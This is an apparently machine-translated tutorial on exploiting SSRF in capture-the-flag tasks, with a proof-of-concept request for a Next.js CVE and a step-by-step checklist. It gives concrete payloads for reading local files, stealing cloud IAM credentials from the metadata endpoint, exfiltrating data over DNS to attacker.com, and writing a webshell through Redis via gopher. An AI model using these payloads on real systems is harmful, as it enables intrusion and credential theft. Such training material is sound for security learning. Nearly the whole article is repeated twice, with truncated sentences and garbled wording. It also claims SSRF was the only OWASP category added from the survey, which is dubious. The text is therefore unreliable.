SSRF Mechanics Attacks on Web Application
Web applications constantly go for data to other servers: download previews at the link, check the presence of the product through the internal API, generate PDF from custom HTML. Server-Side Request Forgery (CWE-918 by MITRE classification) occurs when the application accepts the URL from the user and accesses it without checking the destination. By OWASP A10:2021, SSRF vulnerabilities appear “whenever a web application is fetching a remote resource forging the user-supplied URL.” Noteworthy fact: SSRF is the only category added to OWASP Top 10 2021 based on community survey results, not based on CVE data. The community has acknowledged the threat earlier than statistics — and that says a lot.
According to the MITRE CWE-918 classification, the consequences of operation are hit in three areas: reading application data (Confidentiality), performing unauthorized commands (Integrity) and bypassing the protection mechanisms (Access Control). In CTF-language: through one SSRF hole, you can read a file with a flag, reach the admin panel without authentication or pull down IAM creeds of cloud instance.
Why does it need an attacker outside the CTF? SSRF turns a vulnerable server into a proxy for attacks on internal infrastructure. One request to the AWS metadata endpoint — and the attacking keys to the entire cloud account. So SSRF in the CTF is not an abstract exercise, but a skill training that is directly broadcast on the pentests of real systems.
Attack chain on MITRE ATT&CK
In terms of ATT&CK, the operation of SSRF develops in a predictable scenario:
Exploit Public-Facing Application (T1190, Initial Access) – find SSRF in a web application through a vulnerable URL option.
Network Service Discovery (T1046, Discovery) – scan the ports on 127.0.0.1 and addresses in internal subnets. According to different HTTP-answers (200, 403, 500, timeout) we define open services.
Remote System Discovery (T1018, Discovery) – go over the hosts in 192.168.x.x, 10.x.x.x, 172.16.x.x, drawing up an internal network map.
Cloud Instance Metadata API (T1552.005, Credential Access) – request http://169.254.169.254/ and pick up IAM tokens.
Data from Local System (T1005, Collection) – through the scheme file:// read local files: configs, SSH keys, flags.
The CTF usually has the first two or three steps. In real pentests the chain is longer.
Where to look for SSRF in CTF Task: Surface Reconnaissance
URL parameters and HTTP headers
The first action is to enable Burp Proxy and pass all the pages of the application. View parameters url=, target=, page=, feed=, src=, dest=, redirect=, uri=, callback= – potential entry points. Not all of them are visible in the browser: the parameter can hide in the JSON-body of the POST request.
Checking is simple: set up the URL of a controlled server – Burp Collaborator or interactsh by ProjectDiscovery (free open source alternative). Callback – SSRF confirmed. Burp Suite for SSRF intelligence is indispensable precisely because it shows requests that are invisible in DevTools.
HTTP headlines should also be felt. Host, X-Forwarded-For, X-Forwarded-Host, Referer sometimes used by the application to build internal URLs. According to PortSwigger, SSRF through the title Referer occurs when server analytics accesses the specified URL to collect statistics. The Collaborator Everywhere extension for Burp Suite automatically implements payload headers into all queries and captures out-of-band interaction — a convenient thing, saves a bunch of handmade.
PDF generators and HTML renders
If the application generates a PDF from user input – account, business card, resume – HTML injection through <iframe src="http://127.0.0.1/flag"> can become a full SSRF. Engines like wkhtmltopdf, Puppeteer, WeasyPrint process HTML as a browser: download external resources, resolve internal addresses.
In CTF, this occurs in tasks with the “Markdown converter in PDF” or “report generator.” Frame <img src="http://127.0.0.1:8080/secret"> in the input field - and if the engine is not isolated, the contents of the internal service will be directly in the PDF file. URLs inside data formats (XML, SVG, HTML templates) are one of those attack surfaces that is easy to miss, and the dumps are used.
Basic SSRF operation: access to the internal service through localhost
The most straightforward scenario is to refer to 127.0.0.1. Internal services often listen to loopback interface and trust requests from this address without authentication.
Why this happens: - access control is implemented at the level of reverse proxy, and not the application itself - the request with localhost bypasses the check; - for disaster recovery, administrative access is left without a login with localhost (classics - "then remove"); - admin interface listens on a separate port not directly accessible from the external network.
What to check when operating SSRF in practice: - http://127.0.0.1/ and http://localhost/ – the root of the web server - /admin, /flag, /flag.txt, /secret, /internal/api – typical CTF-endpoints - Ports :8080, :3000, :5000, :6379, :9200, :27017 – Jenkins, Express, Flask, Redis, Elasticsearch, MongoDB
Port scanning via SSRF works even when the response content is not returned. Different HTTP codes or response time difference allow you to identify open ports – Network Service Discovery (T1046). In Burp Intruder, you specify a list of ports as a payload and sort by time or length of reply. In addition to localhost, try contacting hosts on the internal network: http://192.168.0.1/, http://10.0.0.1/. A CTF task can emulate multiple hosts where the flag lies on a related server.
Bypassing SSRF filters: techniques bypass url parsing
If the authors of the task blocked the direct http://localhost - that's where the most interesting thing begins. Bypassing SSRF filters requires an understanding of how a particular parser handles a URL. And the parsers are a zoo.
Whitelist bypasses: SSRF bypass url parsing
The Whitelist filter only allows the URL with a specific domain. URL specification contains several features that can be exploited when bypassing validation:
Credentials through @. URL https://expected-host:fakepass@evil-host – the parser can count expected-host authorname (username
assword) and the real host evil-host. In CTF often works http://[email protected]/flag.
Fragment through #. URL https://evil-host#expected-host – filter sees expected-host in the line, but the request goes to evil-host. Depends on the implementation: some parsers trim the fragment before checking, others after.
DNS hierarchy. https://expected-host.evil-host – approved input is built into FQDN, but DNS resolvite domain to controlled IP.
These techniques are combined. http://[email protected]:8080/flag – filter sees allowed at the beginning, the HTTP client interprets it as a username and addresses 127.0.0.1. The beauty.
Open redirect as a springboard for SSRF
If the app has open redirect — /redirect?url=http://evil.com – it can be used to bypass the SSRF filter:
The filter checks that the URL starts with https://app.example.com
Framed https://app.example.com/redirect?url=http://127.0.0.1/flag
Filter passes - domain "its"
The server goes to the URL, gets 302 on http://127.0.0.1/flag
HTTP client follows the redirect and returns the contents of the internal resource
Change of protocol in redirect (with http: on https
can bypass anti-SSRF filters that check the protocol only in the original URL. In CTF-tass, open redirect is often part of the conceived chain – the authors leave it specifically. If you see open redirect next to the SSRF, this is not a coincidence.
SSRF cloud metadata: stealing IAM tokens
If the CTF task is deployed on AWS EC2 or emulates the cloud environment, metadata endpoint is the main goal. At the address http://169.254.169.254/latest/meta-data/ server returns information about instance, and along the way /latest/meta-data/iam/security-credentials/ names of IAM roles. By requesting a full path with the role name, you get JSON with AccessKeyId, SecretAccessKey and Token. This is the Cloud Instance Metadata API (T1552.005 by MITRE ATT&CK) technique.
Atomic Red Team has a ready-made test to test this vector: “AWS – Retriive EC2 IAM Role Credentials via IMDSv2” – shell-script for Linux-instances AWS. In the CTFs, the resulting keys are sufficient for authentication via AWS CLI (aws configure) and access to S3-boakets, DynamoDB or Lambda, where the flag is located.
The nuance that many stumble about: AWS introduced IMDSv2, which requires a preliminary PUT request with headline X-aws-ec2-metadata-token-ttl-seconds to get session token. If SSRF vulnerability allows you to control only the URL (without arbitrary headers and method), IMDSv2 blocks the attack. In CTF tasks, IMDSv1 is often emulated without this limitation – but it is worth checking.
GCP uses another endpoint: http://metadata.google.internal/computeMetadata/v1/ with a mandatory headline Metadata-Flavor: Google. If SSRF allows you to control the headers – GCP metadata is also available.
Blind SSRF in CTF: when the answer is not visible
Not all SSRF vulnerabilities return response content. Blind SSRF is a situation where the server performs a request, but shows the same result regardless of what the internal service has returned. "The image is loaded" and that's it. Silence.
Out-of-band interaction. Set the URL of the controlled server (interactsh, Burp Collaborator) and check incoming DNS/HTTP requests. Callback is here – SSRF is confirmed, even if the answer is not visible. Further, data exfiltration goes through DNS: insert sensitive data into the subdomain (e.g. <secret-data>.attacker.com), and the DNS log fixes the leak. It's dirty, but it works.
Timing-based detection. Addressing the open port is the answer for 200ms. To the closed - timeout 10s. The difference allows you to map open ports through Burp Intruder: you specify the list of ports as payload in the URL and sort the results by response time.
DNS rebinding. Configure a DNS server that, when first requested, resolvates the name into a “safe” IP, and when repeated, in 127.0.0.1. The filter checks the DNS when validating, receives the authorized address and passes. HTTP client resolvites DNS again when you execute a request and hits localhost. There is a service for the generation of rebinding domains lock.cmpxchg8b.com/rebinder.html (according to SSRF Cheat Sheet from highon.coffee). Less: IP “jumps” between two values – it can take several attempts, so be patient.
gopher:// and other protocols: SSRF payload for Redis
HTTP is not the only protocol for SSRF. If the HTTP client on the server side supports other URL schemas, much more serious attack vectors are opened.
file:// – reading local files. file:///etc/passwd, file:///proc/self/environ (ambient variables – sometimes there are secrets and API keys), file:///app/flag.txt. This is the Data from Local System (T1005). In CTF, check the application configuration files: .env, config.py, application.yml.
gopher:// – sending arbitrary TCP data. This is perhaps the most powerful SSRF payload, because through gopher you can form full-fledged queries to Redis, Memcached, MySQL, SMTP. Format: gopher://127.0.0.1:6379/_<url-encoded-redis-commands>. The Gopherus tool generates gopher payloads for popular services, saving time on manual URL-encoding TCP data.
dict:// – allows you to send one line to the TCP port: dict://127.0.0.1:6379/INFO. Less flexible than gopher, but works when the gopher is locked.
Available URLs depend on the language (according to SSRF Cheat Sheet data from highon.coffee): - PHP with cURL: gopher://, dict://, file://, ftp:// - Java: file://, ftp://, jar:// (OpenJDK 8+ does not follow the redirects when changing the protocol) - cURL: supports the entire set of circuits
In CTF tasks on gopher:// usually you need to get to Redis, read the key with the flag team GET flag or write a webhell through SET. On paper, the formula is clear, but gopher-payload is really felt only when you collect URL-encoded TCP-flow with your hands and see how Redis responds through SSRF. The moment when “well, it worked.”
CVE-2025-57822: SSRF in Next.js middleware — case disassembly
CVE-2025-57822 — SSRF in Next.js to versions 14.2.32 and 15.4.7. According to NVD: CVSS 6.5 (MEDIUM), CVSS vector:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N. The root problem is CWE-918 (Server-Side Request Forgery). According to OSV.dev, the vulnerability affects the package next starting with version 0.9.9 and fixed in 14.2.32.
The bottom line: when in middleware call next() occurs without explicit object transfer request, custom headers are thrashed onto the server incorrectly. Title Transfer Location in the request calls the server redirect to an arbitrary URL. Three lines in middleware are full-fledged SSRF.
The complexity of the attack is marked as High (AC:H) – you need a specific middleware configuration. CISA classifies vulnerability as Track: operation none, automation no, technical impact partial. EPSS = 0.0249 (percentile 83.5%) - above the median, but not in the active operation zone. In the CTF, the authors of the task guarantee the presence of a vulnerable configuration, which simplifies the case.
PoC from write-ups:
GET /?utm_source=meta HTTP/2
Host: challenge.ctf.example
Location: http://localhost:8080/flag
Middleware handles UTM-parameter and causes next() without request transfer - title Location drops, the server performs an internal redirect and returns the contents. For escalation: through a selection of ports in the headline Location (with the help of ffuf or Burp Intruder) you can find internal services - Jenkins, Redis, administrative API. The Nuclei template for automatic detection of CVE-2025-57822 is already available in the ProjectDiscovery repository.
This case shows why reading middleware sources is a must-have step into a CTF, not an optional one. The developer will write next() without arguments without thinking. Pentester will find this in five minutes.
Checklist: step-by-step operation of SSRF in CTF
The order of action on each web-task with suspected SSRF:
Intelligence (60 seconds). Burp Proxy is enabled, go through all the pages, find parameters from the URL. Check JSON bodies of POST requests - the browser will not show them.
Confirmation. Set up URL interactsh-server. Callback is here – SSRF is. No – check the headlines (Host, X-Forwarded-Host, Referer), PDF generators, XML/SVG parsers.
Basic operation. http://127.0.0.1/flag.txt, http://localhost/admin. The answer is to take the data. Not visible, blind technicians.
Bypassing filters. Localhost is blocked – go over hex (0x7f000001), decimal (2130706433), IPv6 ([::1]), reduced (127.1), @-stunt, open redirect.
Port scanning. Select ports via Burp Intruder: 80, 3000, 5000, 8080, 6379, 9200, 27017. Sort by response time.
Protocols. file:///etc/passwd, file:///proc/self/environ, file:///app/flag.txt. If gopher is supported – Gopherus for Redis/Memcached.
Cloud metadata. http://169.254.169.254/latest/meta-data/. IAM keys → AWS CLI.
Chaining. SSRF is rarely the final goal. Access – springboard: credentials in configs, RCE through internal service, application sources.
The difference between 200-point and 500-point SSRF-task is the number of filters and the depth of the chening. The mechanics are one.
Web applications constantly go for data to other servers: download previews at the link, check the presence of the product through the internal API, generate PDF from custom HTML. Server-Side Request Forgery (CWE-918 by MITRE classification) occurs when the application accepts the URL from the user and accesses it without checking the destination. By OWASP A10:2021, SSRF vulnerabilities appear “whenever a web application is fetching a remote resource forging the user-supplied URL.” Noteworthy fact: SSRF is the only category added to OWASP Top 10 2021 based on community survey results, not based on CVE data. The community has acknowledged the threat earlier than statistics — and that says a lot.
According to the MITRE CWE-918 classification, the consequences of operation are hit in three areas: reading application data (Confidentiality), performing unauthorized commands (Integrity) and bypassing the protection mechanisms (Access Control). In CTF-language: through one SSRF hole, you can read a file with a flag, reach the admin panel without authentication or pull down IAM creeds of cloud instance.
Why does it need an attacker outside the CTF? SSRF turns a vulnerable server into a proxy for attacks on internal infrastructure. One request to the AWS metadata endpoint — and the attacking keys to the entire cloud account. So SSRF in the CTF is not an abstract exercise, but a skill training that is directly broadcast on the pentests of real systems.
Attack chain on MITRE ATT&CK
In terms of ATT&CK, the operation of SSRF develops in a predictable scenario:
Exploit Public-Facing Application (T1190, Initial Access) – find SSRF in a web application through a vulnerable URL option.
Network Service Discovery (T1046, Discovery) – scan the ports on 127.0.0.1 and addresses in internal subnets. According to different HTTP-answers (200, 403, 500, timeout) we define open services.
Remote System Discovery (T1018, Discovery) – go over the hosts in 192.168.x.x, 10.x.x.x, 172.16.x.x, drawing up an internal network map.
Cloud Instance Metadata API (T1552.005, Credential Access) – request http://169.254.169.254/ and pick up IAM tokens.
Data from Local System (T1005, Collection) – through the scheme file:// read local files: configs, SSH keys, flags.
The CTF usually has the first two or three steps. In real pentests the chain is longer.
Where to look for SSRF in CTF Task: Surface Reconnaissance
URL parameters and HTTP headers
The first action is to enable Burp Proxy and pass all the pages of the application. View parameters url=, target=, page=, feed=, src=, dest=, redirect=, uri=, callback= – potential entry points. Not all of them are visible in the browser: the parameter can hide in the JSON-body of the POST request.
Checking is simple: set up the URL of a controlled server – Burp Collaborator or interactsh by ProjectDiscovery (free open source alternative). Callback – SSRF confirmed. Burp Suite for SSRF intelligence is indispensable precisely because it shows requests that are invisible in DevTools.
HTTP headlines should also be felt. Host, X-Forwarded-For, X-Forwarded-Host, Referer sometimes used by the application to build internal URLs. According to PortSwigger, SSRF through the title Referer occurs when server analytics accesses the specified URL to collect statistics. The Collaborator Everywhere extension for Burp Suite automatically implements payload headers into all queries and captures out-of-band interaction — a convenient thing, saves a bunch of handmade.
PDF generators and HTML renders
If the application generates a PDF from user input – account, business card, resume – HTML injection through <iframe src="http://127.0.0.1/flag"> can become a full SSRF. Engines like wkhtmltopdf, Puppeteer, WeasyPrint process HTML as a browser: download external resources, resolve internal addresses.
In CTF, this occurs in tasks with the “Markdown converter in PDF” or “report generator.” Frame <img src="http://127.0.0.1:8080/secret"> in the input field - and if the engine is not isolated, the contents of the internal service will be directly in the PDF file. URLs inside data formats (XML, SVG, HTML templates) are one of those attack surfaces that is easy to miss, and the dumps are used.
Basic SSRF operation: access to the internal service through localhost
The most straightforward scenario is to refer to 127.0.0.1. Internal services often listen to loopback interface and trust requests from this address without authentication.
Why this happens: - access control is implemented at the level of reverse proxy, and not the application itself - the request with localhost bypasses the check; - for disaster recovery, administrative access is left without a login with localhost (classics - "then remove"); - admin interface listens on a separate port not directly accessible from the external network.
What to check when operating SSRF in practice: - http://127.0.0.1/ and http://localhost/ – the root of the web server - /admin, /flag, /flag.txt, /secret, /internal/api – typical CTF-endpoints - Ports :8080, :3000, :5000, :6379, :9200, :27017 – Jenkins, Express, Flask, Redis, Elasticsearch, MongoDB
Port scanning via SSRF works even when the response content is not returned. Different HTTP codes or response time difference allow you to identify open ports – Network Service Discovery (T1046). In Burp Intruder, you specify a list of ports as a payload and sort by time or length of reply. In addition to localhost, try contacting hosts on the internal network: http://192.168.0.1/, http://10.0.0.1/. A CTF task can emulate multiple hosts where the flag lies on a related server.
Bypassing SSRF filters: techniques bypass url parsing
If the authors of the task blocked the direct http://localhost - that's where the most interesting thing begins. Bypassing SSRF filters requires an understanding of how a particular parser handles a URL. And the parsers are a zoo.
Whitelist bypasses: SSRF bypass url parsing
The Whitelist filter only allows the URL with a specific domain. URL specification contains several features that can be exploited when bypassing validation:
Credentials through @. URL https://expected-host:fakepass@evil-host – the parser can count expected-host authorname (username
Fragment through #. URL https://evil-host#expected-host – filter sees expected-host in the line, but the request goes to evil-host. Depends on the implementation: some parsers trim the fragment before checking, others after.
DNS hierarchy. https://expected-host.evil-host – approved input is built into FQDN, but DNS resolvite domain to controlled IP.
These techniques are combined. http://[email protected]:8080/flag – filter sees allowed at the beginning, the HTTP client interprets it as a username and addresses 127.0.0.1. The beauty.
Open redirect as a springboard for SSRF
If the app has open redirect — /redirect?url=http://evil.com – it can be used to bypass the SSRF filter:
The filter checks that the URL starts with https://app.example.com
Framed https://app.example.com/redirect?url=http://127.0.0.1/flag
Filter passes - domain "its"
The server goes to the URL, gets 302 on http://127.0.0.1/flag
HTTP client follows the redirect and returns the contents of the internal resource
Change of protocol in redirect (with http: on https
SSRF cloud metadata: stealing IAM tokens
If the CTF task is deployed on AWS EC2 or emulates the cloud environment, metadata endpoint is the main goal. At the address http://169.254.169.254/latest/meta-data/ server returns information about instance, and along the way /latest/meta-data/iam/security-credentials/ names of IAM roles. By requesting a full path with the role name, you get JSON with AccessKeyId, SecretAccessKey and Token. This is the Cloud Instance Metadata API (T1552.005 by MITRE ATT&CK) technique.
Atomic Red Team has a ready-made test to test this vector: “AWS – Retriive EC2 IAM Role Credentials via IMDSv2” – shell-script for Linux-instances AWS. In the CTFs, the resulting keys are sufficient for authentication via AWS CLI (aws configure) and access to S3-boakets, DynamoDB or Lambda, where the flag is located.
The nuance that many stumble about: AWS introduced IMDSv2, which requires a preliminary PUT request with headline X-aws-ec2-metadata-token-ttl-seconds to get session token. If SSRF vulnerability allows you to control only the URL (without arbitrary headers and method), IMDSv2 blocks the attack. In CTF tasks, IMDSv1 is often emulated without this limitation – but it is worth checking.
GCP uses another endpoint: http://metadata.google.internal/computeMetadata/v1/ with a mandatory headline Metadata-Flavor: Google. If SSRF allows you to control the headers – GCP metadata is also available.
Blind SSRF in CTF: when the answer is not visible
Not all SSRF vulnerabilities return response content. Blind SSRF is a situation where the server performs a request, but shows the same result regardless of what the internal service has returned. "The image is loaded" and that's it. Silence.
Out-of-band interaction. Set the URL of the controlled server (interactsh, Burp Collaborator) and check incoming DNS/HTTP requests. Callback is here – SSRF is confirmed, even if the answer is not visible. Further, data exfiltration goes through DNS: insert sensitive data into the subdomain (e.g. <secret-data>.attacker.com), and the DNS log fixes the leak. It's dirty, but it works.
Timing-based detection. Addressing the open port is the answer for 200ms. To the closed - timeout 10s. The difference allows you to map open ports through Burp Intruder: you specify the list of ports as payload in the URL and sort the results by response time.
DNS rebinding. Configure a DNS server that, when first requested, resolvates the name into a “safe” IP, and when repeated, in 127.0.0.1. The filter checks the DNS when validating, receives the authorized address and passes. HTTP client resolvites DNS again when you execute a request and hits localhost. There is a service for the generation of rebinding domains lock.cmpxchg8b.com/rebinder.html (according to SSRF Cheat Sheet from highon.coffee). Less: IP “jumps” between two values – it can take several attempts, so be patient.
gopher:// and other protocols: SSRF payload for Redis
HTTP is not the only protocol for SSRF. If the HTTP client on the server side supports other URL schemas, much more serious attack vectors are opened.
file:// – reading local files. file:///etc/passwd, file:///proc/self/environ (ambient variables – sometimes there are secrets and API keys), file:///app/flag.txt. This is the Data from Local System (T1005). In CTF, check the application configuration files: .env, config.py, application.yml.
gopher:// – sending arbitrary TCP data. This is perhaps the most powerful SSRF payload, because through gopher you can form full-fledged queries to Redis, Memcached, MySQL, SMTP. Format: gopher://127.0.0.1:6379/_<url-encoded-redis-commands>. The Gopherus tool generates gopher payloads for popular services, saving time on manual URL-encoding TCP data.
dict:// – allows you to send one line to the TCP port: dict://127.0.0.1:6379/INFO. Less flexible than gopher, but works when the gopher is locked.
Available URLs depend on the language (according to SSRF Cheat Sheet data from highon.coffee): - PHP with cURL: gopher://, dict://, file://, ftp:// - Java: file://, ftp://, jar:// (OpenJDK 8+ does not follow the redirects when changing the protocol) - cURL: supports the entire set of circuits
In CTF tasks on gopher:// usually you need to get to Redis, read the key with the flag team GET flag or write a webhell through SET. On paper, the formula is clear, but gopher-payload is really felt only when you collect URL-encoded TCP-flow with your hands and see how Redis responds through SSRF. The moment when “well, it worked.”
CVE-2025-57822: SSRF in Next.js middleware — case disassembly
CVE-2025-57822 — SSRF in Next.js to versions 14.2.32 and 15.4.7. According to NVD: CVSS 6.5 (MEDIUM), CVSS vector:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N. The root problem is CWE-918 (Server-Side Request Forgery). According to OSV.dev, the vulnerability affects the package next starting with version 0.9.9 and fixed in 14.2.32.
The bottom line: when in middleware call next() occurs without explicit object transfer request, custom headers are thrashed onto the server incorrectly. Title Transfer Location in the request calls the server redirect to an arbitrary URL. Three lines in middleware are full-fledged SSRF.
The complexity of the attack is marked as High (AC:H) – you need a specific middleware configuration. CISA classifies vulnerability as Track: operation none, automation no, technical impact partial. EPSS = 0.0249 (percentile 83.5%) - above the median, but not in the active operation zone. In the CTF, the authors of the task guarantee the presence of a vulnerable configuration, which simplifies the case.
PoC from write-ups:
GET /?utm_source=meta HTTP/2
Host: challenge.ctf.example
Location: http://localhost:8080/flag
Middleware handles UTM-parameter and causes next() without request transfer - title Location drops, the server performs an internal redirect and returns the contents. For escalation: through a selection of ports in the headline Location (with the help of ffuf or Burp Intruder) you can find internal services - Jenkins, Redis, administrative API. The Nuclei template for automatic detection of CVE-2025-57822 is already available in the ProjectDiscovery repository.
This case shows why reading middleware sources is a must-have step into a CTF, not an optional one. The developer will write next() without arguments without thinking. Pentester will find this in five minutes.
Checklist: step-by-step operation of SSRF in CTF
The order of action on each web-task with suspected SSRF:
Intelligence (60 seconds). Burp Proxy is enabled, go through all the pages, find parameters from the URL. Check JSON bodies of POST requests - the browser will not show them.
Confirmation. Set up URL interactsh-server. Callback is here – SSRF is. No – check the headlines (Host, X-Forwarded-Host, Referer), PDF generators, XML/SVG parsers.
Basic operation. http://127.0.0.1/flag.txt, http://localhost/admin. The answer is to take the data. Not visible, blind technicians.
Bypassing filters. Localhost is blocked – go over hex (0x7f000001), decimal (2130706433), IPv6 ([::1]), reduced (127.1), @-stunt, open redirect.
Port scanning. Select ports via Burp Intruder: 80, 3000, 5000, 8080, 6379, 9200, 27017. Sort by response time.
Protocols. file:///etc/passwd, file:///proc/self/environ, file:///app/flag.txt. If gopher is supported – Gopherus for Redis/Memcached.
Cloud metadata. http://169.254.169.254/latest/meta-data/. IAM keys → AWS CLI.
Chaining. SSRF is rarely the final goal. Access – springboard: credentials in configs, RCE through internal service, application sources.
The difference between 200-point and 500-point SSRF-task is the number of filters and the depth of the chening. The mechanics are one.